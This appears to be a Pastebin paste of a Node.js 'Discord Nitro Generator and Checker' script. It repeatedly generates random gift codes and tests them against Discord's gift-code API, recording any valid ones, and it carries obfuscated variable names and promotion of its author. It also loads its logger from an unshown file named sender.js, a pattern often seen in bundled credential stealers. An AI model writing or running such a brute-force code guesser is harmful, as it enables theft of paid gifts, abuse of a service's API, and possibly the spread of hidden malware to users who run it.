Advertisement
Guest User

Discord Nitro Generator and Checker

a guest
Dec 22nd, 2019
8,237
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. const request = require('request');
  2. const logger = require(__dirname + '/assets/sender.js');
  3. const fs = require('fs');
  4. const figlet = require('figlet');
  5. const colors = require('colors');
  6. const readline = require('readline');
  7. var config = require('./config.json');
  8. const triesPerSecond = config['triesPerSecond'];
  9. var working = [];
  10. getGiftCode = function() {
  11.     let _0x8578xa = '';
  12.     let _0x8578xb = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
  13.     for (var _0x8578xc = 0; _0x8578xc < 16; _0x8578xc++) {
  14.         _0x8578xa = _0x8578xa + _0x8578xb['charAt'](Math['floor'](Math['random']() * _0x8578xb['length']))
  15.     };
  16.     return _0x8578xa
  17. };
  18. checkCode = function(_0x8578xa) {
  19.     request(('https://discordapp.com/api/v6/entitlements/gift-codes/' + _0x8578xa + '?with_application=false&with_subscription_plan=true'), (_0x8578xd, _0x8578xe, _0x8578xf) => {
  20.         if (_0x8578xd) {
  21.             logger['error']('An error occurred:');
  22.             logger['error'](_0x8578xd);
  23.             return
  24.         };
  25.         try {
  26.             _0x8578xf = JSON['parse'](_0x8578xf);
  27.             if (_0x8578xf['message'] != 'Unknown Gift Code' && _0x8578xf['message'] != 'You are being rate limited.') {
  28.                 logger['info'](('nextu.xyz | https://discord.gift/' + _0x8578xa + ' | Valid'));
  29.                 working['push'](('DNCracker by xNextu | https://discord.gift/' + _0x8578xa + ' | nextu.xyz'));
  30.                 fs['writeFileSync']('valid-nitros.json', JSON['stringify'](working, null, 4))
  31.             } else {
  32.                 logger['info'](('nextu.xyz | ' + _0x8578xa + ' | Invalid'))
  33.             }
  34.         } catch (_0x8578xd) {
  35.             logger['error']('An error occurred:');
  36.             logger['error'](_0x8578xd);
  37.             return
  38.         }
  39.     })
  40. };
  41. console['log'](figlet['textSync']('DNCracker v2.0  |  Nitro')['red']);
  42. console['log'](' ');
  43. console['log'](' ');
  44. console['log']('DNCracker v2.0 | Created by xNextu | nextu.xyz' ['cyan']);
  45. console['log'](' ');
  46. console['log']('Our discord: https://discord.gg/jUfvAzR' ['cyan']);
  47. console['log'](' ');
  48. console['log']('Nitro-Checker started!' ['cyan']);
  49. console['log'](' ');
  50. checkCode(getGiftCode());
  51. setInterval(() => {
  52.     checkCode(getGiftCode())
  53. }, (1 / triesPerSecond) * 1000)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement